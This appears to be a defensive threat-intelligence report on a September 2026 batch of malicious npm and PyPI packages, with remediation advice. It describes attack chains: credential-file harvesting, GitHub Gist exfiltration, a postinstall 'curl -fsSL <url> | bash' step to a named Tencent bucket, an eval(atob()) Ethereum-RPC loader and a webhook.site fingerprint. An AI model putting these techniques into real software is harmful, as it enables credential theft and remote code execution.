GitHub Advisory malware sweep - 2026-09-03 batch (10-package "Frankly Malicious" `frank`/`frengki0707` Indonesian dep-confusion campaign resurgence targeting Apple + Google/GCP + PyPI `2026-09-telemetry-helper` GitHub-Gist cred-exfil campaign + `@stellarshift/*` Lark/Feishu+FortiClient targeted enterprise supply chain + `tailwindcss-fluid-styles` CHAINDROP Ethereum-RPC on-chain C2 loader + `real-router-utils` webhook.site fingerprint)

What happened

The 24 hours ending 2026-09-03 published 19 new npm+PyPI malware advisories across 5 distinct clusters, with two headline stories:

1. The "Frankly Malicious" Indonesian dep-confusion actor tracked as frank / npm handle frengki0707 returns after ~4 months with a fresh 10-package drop targeting Apple + Google/GCP internal-tooling namespaces. Panther Threat Research first documented this actor in the April 2026 38-package wave attributed to primary account frengki0707 and rotating accounts raya4321, cketol, frengki4321.
2. A brand-new PyPI campaign tagged 2026-09-telemetry-helper exfiltrates env-vars and SSH keys to GitHub Gist via a hardcoded attacker Personal Access Token with SSL verification disabled - a defender-blind exfil channel that walks straight past standard corporate egress filters and DLP rules.

Cluster A - "Frankly Malicious" frank/frengki0707 dep-confusion campaign resurgence (10 packages)

| Package | Versions | GHSA | Cluster | |---|---|---|---| | apple-cktool-internal-api-v9 | >=0 | GHSA-5cfx-4hvj-jxm8 | Apple | | apple-internal-test-utility | >=0 | GHSA-54h3-c256-wpw8 | Apple | | google-cloud-mono-repo-helper | >=0 | GHSA-8rcc-3mvv-4c2x | Google/GCP | | google-internal-cloud-audit-security-check | >=0 | GHSA-cw6m-gmx9-x556 | Google/GCP | | google-cloud-internal-core-utils | >=0 | GHSA-4vvq-8686-f44c | Google/GCP | | google-cloud-internal-build-helper | >=0 | GHSA-3qp7-c8c6-w6vj | Google/GCP | | frank-bot-gogle-cloning | >=0 | GHSA-52j3-fx2q-cqm9 | frank- exfil | | frank-apple-sync-service | >=0 | GHSA-463x-3972-8874 | frank- exfil | | frank-research-poc-apple | >=0 | GHSA-78hq-gp8w-grwp | frank- exfil | | frank-apple-utils | >=0 | GHSA-xg8f-3qvf-9cfp | frank- exfil |

The individual Sept 3 GHSA advisories carry only the standard CWE-506 boilerplate ("Any computer that has this package installed or running should be considered fully compromised"). The attribution comes from the package-name topology: the Sept 3 drops match the exact naming templates fingerprinted by Panther in the April 2026 wave - Apple internal-tooling names (apple-cktool-*, apple-*-internal-*, apple-internal-*), Google/GCP internal-tooling names (google-cloud-internal-*, google-internal-*), and the actor's self-branded frank-* exfil toolkit prefix. Same operator or a direct copycat; either way the defensive playbook is the same.

Historical payload capabilities documented by Panther in April 2026 (which the boilerplate CWE-506 advisories do not enumerate):

• SSH private keys from ~/.ssh/ (id_rsa, id_ed25519, config)
• .git-credentials, .npmrc publish tokens, .env files anywhere under the home directory
• Shell history from ~/.bash_history, ~/.zsh_history
• AWS credentials (~/.aws/credentials, ~/.aws/config)
• GCP credentials (~/.config/gcloud/, application_default_credentials.json)
• Azure credentials (~/.azure/)
• GitHub CLI tokens (~/.config/gh/hosts.yml)
• AI-coding-assistant configuration files including ~/.claude.json - a novel exfil target that Panther called out specifically for the April wave

Why dep-confusion works here: an Apple / Google engineer running npm install against a shared internal registry mirror that falls back to public npm on cache-miss will pull the malicious public apple-cktool-internal-api-v9@X.Y.Z if X.Y.Z exceeds the internal package version. .npmrc scope pinning to the private registry is the durable mitigation.

Cluster B - PyPI 2026-09-telemetry-helper campaign (3 packages, 12 versions)

| Package | Versions | GHSA | Role | |---|---|---|---| | company-sdk | 0.0.1 | GHSA-xwp3-c9rw-wggc | Home-directory credential harvester | | telemetry-helper | 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.2.0, 1.3.0, 2.0.0, 2.0.1 | GHSA-r35m-jqvr-hwxp | Env-var exfil (30s delay) | | env-validator-tool | 1.0.0, 1.0.1, 1.0.2 | GHSA-49jc-fj5g-832c | Depends on telemetry-helper |

Attack chain:

1. pip install env-validator-tool → automatically pulls telemetry-helper as a transitive dependency
2. On first import, both packages fire immediately (telemetry-helper uses a 30-second background-thread delay to defeat short-lived sandbox scanners)
3. company-sdk (installed separately) sweeps the installer's home directory for SSH keys, cloud provider credentials (AWS, Azure, GCP), package manager auth tokens, Docker/Kubernetes configs, .env files, shell history
4. Scans process env-vars for keys containing TOKEN, SECRET, KEY, PASSWORD substrings
5. Gathered data → gzip compression → XOR encryption with PBKDF2-HMAC-SHA256 derivation → HMAC authentication → base64 encoding
6. Encrypted payload POSTs to GitHub Gist using a hardcoded attacker GitHub Personal Access Token, with SSL verification disabled
7. Silent exception handling ensures upload failures remain invisible

Why GitHub Gist is the exfil channel of choice: gist.githubusercontent.com and api.github.com are on virtually every corporate DLP allowlist because legitimate development tooling calls them constantly. A rule change to detect Gist uploads from non-developer processes is the durable defense but breaks nothing legitimate in a typical corporate policy.

Cluster C - npm @stellarshift/* Lark/Feishu + FortiClient targeted enterprise supply chain (4 packages, 8 versions)

| Package | Versions | GHSA | |---|---|---| | @stellarshift/token-units | 1.0.1, 1.0.3 | GHSA-f7jv-2wj8-grw7 | | @stellarshift/chain-metadata | 1.0.1, 1.0.3 | GHSA-3qrc-cxw6-3956 | | @stellarshift/abi-tools | 1.0.1, 1.0.3 | GHSA-75j4-5w9p-f97f | | @stellarshift/evm-address-kit | 1.0.1, 1.0.3 | GHSA-9wh4-p3rc-w4r3 |

All four packages present as EVM / blockchain utility helpers (BigInt token-unit conversion, chain metadata registry, ABI utilities, EVM address checksumming) but conceal an identical targeted-attack payload.

Attack chain:

1. npm install @stellarshift/<any> → postinstall hook runs
2. Hook decodes the URL from an XOR-encoded integer array in endpoint-registry.json, reconstructing an HTTPS URL to a Tencent Cloud COS bucket (mexc-12584333570.cos.ap-beijing.myqcloud.com)
3. Environment fingerprinting: skips execution if any CI env var is present (GITHUB_ACTIONS, GITLAB_CI, JENKINS, CIRCLECI, TRAVIS)
4. Host fingerprinting: only proceeds if the host has BOTH Lark/Feishu client AND FortiClient VPN installed simultaneously
5. On matched hosts (Unix): pipes curl -fsSL <url> directly to bash; on Windows: PowerShell equivalent with hidden windows, detached, suppressed output
6. Postinstall exits code 0 with swallowed errors regardless of outcome, concealing execution

Why the specific targeting matters: Lark/Feishu is ByteDance's enterprise-collaboration suite, dominant among Chinese-tenant orgs and their international subsidiaries. FortiClient VPN is common in enterprise-managed workstation fleets. The intersection selects for a very specific target profile - managed corporate workstations in Chinese-tenant organisations. The advisories characterise this as "a targeted supply-chain attack against managed enterprise endpoints", noting there is "no legitimate need to fetch and execute a hidden remote shell payload" for an ABI utility. Packages falsely advertise "No network calls - safe for CI and air-gapped builds" and "Zero runtime dependencies".

Cluster D - npm tailwindcss-fluid-styles CHAINDROP-family Ethereum-RPC on-chain C2 loader (1 package, 8 versions)

| Package | Versions | GHSA | Wallet | |---|---|---|---| | tailwindcss-fluid-styles | <=2.0.7 | GHSA-qmfx-363x-c6gj | 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a |

Attack chain (matches the CHAINDROP / EtherHiding pattern class):

1. On require(), index.js runs eval(atob(...)) at top level to decode a malicious loader
2. Loader queries a public Ethereum RPC endpoint for outbound transactions from 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a
3. Reads two IPv4 addresses from transaction calldata (primary + secondary C2 hosts)
4. Fetches XOR-encrypted payloads from /0x/cls and /0x/ls paths on those hosts
5. eval()s the first payload; spawns node -e <second_payload> with {detached:true, stdio:"ignore", windowsHide:true} + .unref() for a persistent hidden background process
6. Self-erases: modifies its own source code on disk to remove the malicious loader, leaving apparently-legitimate Tailwind CSS plugin code behind

Family context: this is the third distinct package family in ~4 weeks using the on-chain dead-drop C2 technique class:

• keyv / cacheable Shai-Hulud worm (2026-08-04, CHAINDROP) - smart contract at 0xE1f2395ee43e45A1556EC6438a88c31B83493103 served C2 domains
• iconova-react + postcss-initial-provider (2026-08-10) - Ethereum RPC dead-drop, IPv4 extraction, encrypted payload fetch
• tailwindcss-fluid-styles (this file, 2026-09-03) - same TTP class with self-erasing loader

Why static IOC lists don't work: no C2 domain or IP is embedded in the package. The operator rotates C2 infrastructure by publishing a new Ethereum transaction from the attacker wallet. Blocklists built off traditional IOCs miss the stage-2 hosts on subsequent installs.

Cluster E - npm real-router-utils preinstall webhook.site fingerprint (1 package, all versions)

| Package | Versions | GHSA | Fingerprint destination | |---|---|---|---| | real-router-utils | <=1.0.0 | GHSA-fw7f-xj7r-p9v6 | webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4 |

Preinstall harvests OS hostname, username, cwd and POSTs to an anonymous webhook.site tenant. Classic dep-confusion scout - low-yield reconnaissance to build a target list before weaponised follow-up drops.

Also seen in this window, not catalogued separately

*Sept 2 npm `bellatrix- cluster (9 packages)** - part of the tea.xyz Indonesian token-farming autopublisher wave already characterised at length in [npm-2026-07-25-ghsa-tea-xyz-backfill](/incident/npm-2026-07-25-ghsa-tea-xyz-backfill). Package names: bellatrix-panspermia-websockets-gulp, bellatrix-oberon-prettier-alphard, bellatrix-mira-europa-commitlint, bellatrix-paleoecology-gammarayburst-orbit, bellatrix-proteomics-meissa-redis, bellatrix-prompts-webpack-paleobotany, bellatrix-process-buffer-sequelize, bellatrix-quantum-inquirer-child-process, bellatrix-quantum-computing-non-blocking-package. Advisories confirm these are autopublish scripts that strip "private" flags, bump version numbers, and regenerate randomised Indonesian-themed derivatives to farm tea.xyz protocol dependency-count rewards. **Defensive value is zero** - nobody legitimately depends on these keyword-mash names, and the exfil-free spam-farming payload does not compromise the installer. Recorded here for cross-reference; not added to the packages{}` map.

Registry state

All 19 packages listed above were flagged as malware on their respective registries on 2026-09-03. company-sdk, telemetry-helper, and env-validator-tool have been yanked from PyPI; the 15 npm packages have been added to the npm quarantine list. Private mirrors (Verdaccio, Artifactory, Nexus) that cached tarballs before the takedown will keep serving the malicious versions.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector. Cluster A attribution credited to Panther Threat Research from the April 2026 frank/frengki0707 documentation.

Affected packages (19)

Impact

• Cluster A - "Frankly Malicious" frank/frengki0707 dep-confusion campaign resurgence (2026-09-03, 10 packages, all versions): Panther Threat Research first documented this Indonesian actor (primary npm identity frengki0707, rotating accounts raya4321, cketol, frengki4321) in a 38-package April 2026 wave targeting Apple / Google-GCP / Alibaba-Aliyun internal-tooling dep-confusion. Sept 3 marks the first fresh wave in ~4 months - 10 new drops carrying only CWE-506 boilerplate on the GHSA advisory pages but named to slot straight into Apple + Google CI/CD lookup paths: Apple cluster (apple-cktool-internal-api-v9 GHSA-5cfx-4hvj-jxm8, apple-internal-test-utility GHSA-54h3-c256-wpw8), Google/GCP cluster (google-cloud-mono-repo-helper GHSA-8rcc-3mvv-4c2x, google-internal-cloud-audit-security-check GHSA-cw6m-gmx9-x556, google-cloud-internal-core-utils GHSA-4vvq-8686-f44c, google-cloud-internal-build-helper GHSA-3qp7-c8c6-w6vj), *`frank- exfil/tooling cluster** (frank-bot-gogle-cloning GHSA-52j3-fx2q-cqm9, frank-apple-sync-service GHSA-463x-3972-8874, frank-research-poc-apple GHSA-78hq-gp8w-grwp, frank-apple-utils GHSA-xg8f-3qvf-9cfp). Historical payload per Panther: aggressive collection of SSH keys, .git-credentials, .npmrc, .env, shell history, AWS/GCP/Azure credentials, GitHub CLI tokens, and AI-coding-assistant configs (including ~/.claude.json`). Any Apple, Google, or GCP-adjacent CI/CD pipeline that resolves against public npm before checking a private mirror is a target - dep-confusion succeeds when the public malicious version-numbers exceed the internal package version
• Cluster B - PyPI 2026-09-telemetry-helper GitHub-Gist cred-exfil campaign (2026-09-03, 3 packages, 12 versions): company-sdk@0.0.1 (GHSA-xwp3-c9rw-wggc), telemetry-helper@1.0.0-2.0.1 across 8 versions (GHSA-r35m-jqvr-hwxp), env-validator-tool@1.0.0-1.0.2 (GHSA-49jc-fj5g-832c - explicitly names 2026-09-telemetry-helper campaign and installs the malicious telemetry-helper as a transitive dependency). Fires on import, not install. company-sdk sweeps installer home directory for SSH keys, cloud creds (AWS/Azure/GCP), package-manager auth tokens, Docker/Kubernetes configs, .env files, shell history + scrapes process env-vars for TOKEN/SECRET/KEY/PASSWORD substrings; gzip-compresses, XOR-encrypts with PBKDF2-HMAC-SHA256, HMAC-authenticates, base64-encodes, then POSTs the blob to GitHub Gist using a hardcoded GitHub Personal Access Token with SSL verification disabled. telemetry-helper uses a 30-second background-thread delay before exfil to defeat short-lived sandboxes and sends hostname/username/cwd + full environ. GitHub Gist is a defender-blind exfil channel - most egress-filter and DLP rules whitelist gist.githubusercontent.com and api.github.com
• *Cluster C - npm `@stellarshift/ Lark/Feishu + FortiClient targeted enterprise supply chain (2026-09-03, 4 packages, 8 versions)**: @stellarshift/token-units@1.0.1+1.0.3 (GHSA-f7jv-2wj8-grw7), @stellarshift/chain-metadata@1.0.1+1.0.3 (GHSA-3qrc-cxw6-3956), @stellarshift/abi-tools@1.0.1+1.0.3 (GHSA-75j4-5w9p-f97f), @stellarshift/evm-address-kit@1.0.1+1.0.3 (GHSA-9wh4-p3rc-w4r3). All 4 packages **fingerprint the installer host and ONLY execute if BOTH Lark/Feishu (Chinese enterprise collaboration client) AND FortiClient VPN are simultaneously present** - a signature of a targeted attack against managed enterprise workstations in Chinese-tenant orgs. Postinstall XOR-decodes an integer array in endpoint-registry.json, reconstructs an HTTPS URL to a **Tencent Cloud COS bucket (mexc-12584333570.cos.ap-beijing.myqcloud.com)**, and executes curl -fsSL <url> | bash (Unix) or PowerShell equivalent (Windows) with hidden windows, detached, suppressed output, and swallowed errors (postinstall exits 0 to conceal). CI evasion: refuses to run when GitHub Actions / GitLab CI / Jenkins env vars are present. Packages falsely advertise "No network calls - safe for CI and air-gapped builds" and "Zero runtime dependencies". Any workstation running Lark/Feishu + FortiClient that ran npm install` against any of these four packages must be treated as fully compromised at the OS level
• Cluster D - npm tailwindcss-fluid-styles CHAINDROP-family Ethereum-RPC on-chain C2 loader (2026-09-03, 1 package, 8 versions): tailwindcss-fluid-styles@<=2.0.7 (GHSA-qmfx-363x-c6gj). Same on-chain dead-drop C2 pattern as iconova-react + postcss-initial-provider (2026-08-10) and the CHAINDROP keyv/cacheable Shai-Hulud worm (2026-08-04). On require(), the package runs eval(atob(...)) at top level to decode a malicious loader; the loader queries an Ethereum RPC endpoint for outbound transactions from a hardcoded attacker wallet (0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a), reads two IPv4 addresses from transaction calldata, fetches XOR-encrypted payloads from /0x/cls and /0x/ls paths on those hosts, eval()s the first, and spawns node -e <payload> with {detached:true, stdio:"ignore", windowsHide:true} + .unref() to run the second as a persistent hidden background process. After execution, the malware modifies its own source code on disk to remove the malicious loader - leaving what appears to be a benign Tailwind CSS styling plugin for post-hoc forensic inspection. Static IOC lists are worthless because the operator rotates C2 hosts by publishing new transactions from the same wallet
• Cluster E - npm real-router-utils preinstall webhook.site fingerprint (2026-09-03, 1 package, all versions): real-router-utils@<=1.0.0 (GHSA-fw7f-xj7r-p9v6). Preinstall script harvests OS hostname, username, and cwd and POSTs to webhook.site/e32d3b8a-a5df-40cc-ae60-7a8343b581e4 - the classic "anonymous throwaway webhook to fingerprint dev environments" preinstall pattern seen in dozens of dep-confusion scouts. Low-yield reconnaissance but signals the operator is enumerating a target list; the follow-up drop (weaponised implant) typically arrives within 2-14 days

What to do

1. 1Grep every lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml, requirements.txt, Pipfile.lock, poetry.lock, uv.lock) for the 19 package names below. Uninstall on any hit and rebuild the lockfile against a clean cache
2. 2For Cluster A ("Frankly Malicious" frank/frengki0707 resurgence): any org that maintains internal npm packages under @apple/*, @google-cloud/*, google-*, apple-*, or similar internal-tooling namespaces MUST audit their private-registry precedence rules NOW - dep-confusion succeeds when the public malicious version-number outranks the internal version. Add explicit .npmrc @apple:registry= and @google-cloud:registry= pinning to your private mirror. Any CI/CD pipeline that resolves against public npm before checking a private mirror is exposed. Rotate every SSH key, cloud CLI credential (AWS ~/.aws/credentials, GCP ~/.config/gcloud/, Azure ~/.azure/), .git-credentials, .npmrc token, GitHub CLI (~/.config/gh/hosts.yml), and AI-coding-assistant configuration (~/.claude.json in particular) on any host that resolved any of the 10 apple-/google-/frank-* packages. Push the operator handles (frengki0707, raya4321, cketol, frengki4321) into npm publisher deny lists and monitor for new publications under related handles - Panther fingerprinted the actor as rotating accounts
3. 3For Cluster B (PyPI 2026-09-telemetry-helper campaign): any Python environment that ran pip install company-sdk or pip install telemetry-helper or pip install env-validator-tool since 2026-09-03 must treat the host as fully compromised. Rotate every credential in the process environment during the exposure window - especially AWS keys, GitHub tokens, and any TOKEN/SECRET/KEY/PASSWORD env vars. Search corporate egress logs for gist.githubusercontent.com and api.github.com POSTs from Python hosts during the exposure window - Gist uploads via a hardcoded attacker PAT are the exfil channel. If your DLP whitelists GitHub, add a rule to flag Gist uploads from non-developer hosts. env-validator-tool pulls in telemetry-helper transitively, so pip freeze | grep -E "^telemetry-helper|^company-sdk|^env-validator-tool" on every Python host is the audit query
4. 4*For Cluster C (`@stellarshift/ Lark/Feishu+FortiClient targeted)**: any managed corporate workstation running BOTH Lark/Feishu AND FortiClient VPN that resolved any of the four @stellarshift/` packages needs to be re-imaged. The targeting is precise: the payload only fires if both apps are detected on the host. If your org uses Lark/Feishu for internal communication and FortiClient for VPN, treat this cluster as targeted at your fleet. Block outbound to Tencent Cloud COS (`.cos.ap-beijing.myqcloud.com, .cos.ap-.myqcloud.com`) from dev/build hosts that have no legitimate need. Correlate npm postinstall runs during the exposure window with outbound HTTPS to Tencent Cloud
5. 5For Cluster D (tailwindcss-fluid-styles on-chain C2): same remediation as the iconova-react / postcss-initial-provider CHAINDROP family. Block outbound to public Ethereum RPCs (*.rpc.io, mainnet.infura.io, *.nodereal.io, *.getblock.io, *.llamarpc.com, *.publicnode.com) from build/dev hosts. Correlate any outbound HTTP GET during npm-install with an immediately-preceding Ethereum RPC call in the same process tree (getTransaction / eth_getTransactionByHash against a random-looking wallet followed by a plain HTTPS GET to an IPv4). Rebuild the affected host from bare metal - the loader self-erases from disk so file-based scan is negative even on a compromised host. Rotate every credential accessible to the host, including npm publish tokens, since the persistent detached node process retains long-term shell access
6. 6For Cluster E (real-router-utils): uninstall from lockfile. If webhook.site telemetry was successful, the operator has your hostname + username + cwd and will use it to correlate against later drops. No further host cleanup required for this specific package
7. 7For all npm install runs in CI, prefer --ignore-scripts (blocks Clusters A/C/E preinstall+postinstall vectors) - Cluster D still triggers on require(), not install-time
8. 8For all pip install runs in CI, --only-binary does not stop Cluster B because the payload fires on import - add company-sdk, telemetry-helper, env-validator-tool and any 2026-09-telemetry-helper family variants to your registry-mirror deny list
9. 9Verify none of the enumerated packages still resolves via your private mirror - internal caches (Nexus / Artifactory / Verdaccio / Sonatype / devpi) routinely keep serving yanked tarballs after the public takedown

References

• GitHub Advisory Database - recent npm malware advisories

  github.com
  GitHub
• GitHub Advisory Database - recent PyPI malware advisories

  github.com
  GitHub
• GHSA-5cfx-4hvj-jxm8 - apple-cktool-internal-api-v9 (Frankly Malicious frank/frengki0707 Apple cluster)

  github.com
  GitHub
• GHSA-54h3-c256-wpw8 - apple-internal-test-utility (Frankly Malicious Apple cluster)

  github.com
  GitHub
• GHSA-8rcc-3mvv-4c2x - google-cloud-mono-repo-helper (Frankly Malicious Google/GCP cluster)

  github.com
  GitHub
• GHSA-cw6m-gmx9-x556 - google-internal-cloud-audit-security-check (Frankly Malicious Google/GCP cluster)

  github.com
  GitHub
• GHSA-4vvq-8686-f44c - google-cloud-internal-core-utils (Frankly Malicious Google/GCP cluster)

  github.com
  GitHub
• GHSA-3qp7-c8c6-w6vj - google-cloud-internal-build-helper (Frankly Malicious Google/GCP cluster)

  github.com
  GitHub
• GHSA-52j3-fx2q-cqm9 - frank-bot-gogle-cloning (Frankly Malicious frank-* exfil cluster)

  github.com
  GitHub
• GHSA-463x-3972-8874 - frank-apple-sync-service (Frankly Malicious frank-* exfil cluster)

  github.com
  GitHub
• GHSA-78hq-gp8w-grwp - frank-research-poc-apple (Frankly Malicious frank-* exfil cluster)

  github.com
  GitHub
• GHSA-xg8f-3qvf-9cfp - frank-apple-utils (Frankly Malicious frank-* exfil cluster)

  github.com
  GitHub
• GHSA-xwp3-c9rw-wggc - company-sdk (PyPI 2026-09-telemetry-helper GitHub-Gist cred exfil)

  github.com
  GitHub
• GHSA-r35m-jqvr-hwxp - telemetry-helper (PyPI 2026-09-telemetry-helper campaign)

  github.com
  GitHub
• GHSA-49jc-fj5g-832c - env-validator-tool (PyPI 2026-09-telemetry-helper campaign)

  github.com
  GitHub
• GHSA-f7jv-2wj8-grw7 - @stellarshift/token-units (Lark/Feishu+FortiClient targeted attack)

  github.com
  GitHub
• GHSA-3qrc-cxw6-3956 - @stellarshift/chain-metadata (Lark/Feishu+FortiClient targeted attack)

  github.com
  GitHub
• GHSA-75j4-5w9p-f97f - @stellarshift/abi-tools (Lark/Feishu+FortiClient targeted attack)

  github.com
  GitHub
• GHSA-9wh4-p3rc-w4r3 - @stellarshift/evm-address-kit (Lark/Feishu+FortiClient targeted attack)

  github.com
  GitHub
• GHSA-qmfx-363x-c6gj - tailwindcss-fluid-styles (CHAINDROP-family Ethereum-RPC on-chain C2)

  github.com
  GitHub
• GHSA-fw7f-xj7r-p9v6 - real-router-utils (preinstall webhook.site fingerprint)

  github.com
  GitHub
• Frankly Malicious: Inside a 38-Package npm Supply Chain Campaign Targeting Tech Giants (Panther Threat Research, April 2026 primary documentation)

  panther.com
  Panther
• OpenSSF malicious-packages repository

  github.com
  OpenSSF